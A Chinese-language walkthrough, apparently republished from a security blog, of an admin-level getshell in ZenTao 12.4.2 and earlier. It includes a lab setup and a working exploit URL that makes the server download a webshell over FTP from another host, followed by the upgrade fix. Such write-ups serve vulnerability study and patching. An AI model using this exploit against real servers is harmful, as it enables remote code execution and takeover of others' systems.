禪道12.4.2后臺管理員權限Getshell是怎樣的

本篇文章給大家分享的是有關禪道12.4.2后臺管理員權限Getshell是怎樣的，小編覺得挺實用的，因此分享給大家學習，希望大家閱讀完這篇文章后可以有所收獲，話不多說，跟著小編一起來看看吧。

0x00簡介

禪道是一款專業的國產開源研發項目管理軟件，集產品管理、項目管理、質量管理、文檔管理、組織管理和事務管理于一體，完整覆蓋了研發項目管理的核心流程。管理思想基于國際流行的敏捷項目管理方法——Scrum，在遵循其價值觀的基礎上，結合國內項目研發現狀，整合了任務管理、需求管理、Bug管理、用例管理等多種功能，覆蓋軟件從計劃到發布的整個生命周期。

0x01漏洞概述

禪道12.4.2版本存在任意文件下載漏洞，該漏洞是因為client類中download方法中過濾不嚴謹可以使用ftp達成下載文件的目的。且下載文件存儲目錄可解析php文件，造成getshell。

0x02影響版本

禪道≤ 12.4.2

0x03環境搭建

phpstudy2018 + 禪道12.4.2  禪道官方下載地址：

https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html

3.1. 下載完成后，放入phpstudy中安裝即可

3.2. 檢查擴展，要是存在未通過的擴展，在phpstudy中開啟擴展即可。

3.3.設置數據庫信息，這里設置成自己的數據庫配置。

3.4.設置賬號安裝完成

3.4．利用環境搭建，開啟ftp服務，以windows2008R2為例，在添加角色，添加ftp

3.5.然后在Internet信息服務下的網站添加ftp服務。

3.6.根據自己的情況配置，下一步即可

3.7.在ftp目錄下放一個webshell然后瀏覽器查看ftp是否可以正常訪問

0x04漏洞復現

1.首先把ftp加上shell的路徑進行base64編碼

加密前: ftp://192.168.3.200/shell.php

加密后: ZnRwJTNBLy8xOTIuMTY4LjMuMjAwL3NoZWxsLnBocA==

2.使用EXP，把加密后的base64放入exp中的<>里

http://127.0.0.1/zentaopms/www/index.php/client-download-1-<base64 encode webshell download link>-1.html

3.使用以下鏈接路徑測試是否shell已下載到服務器

http://192.168.3.200/zentaopms/www/data/client/1/shell.php

0x05修復方式

1、升級到禪道12.4.3及之后的版本

以上就是禪道12.4.2后臺管理員權限Getshell是怎樣的，小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。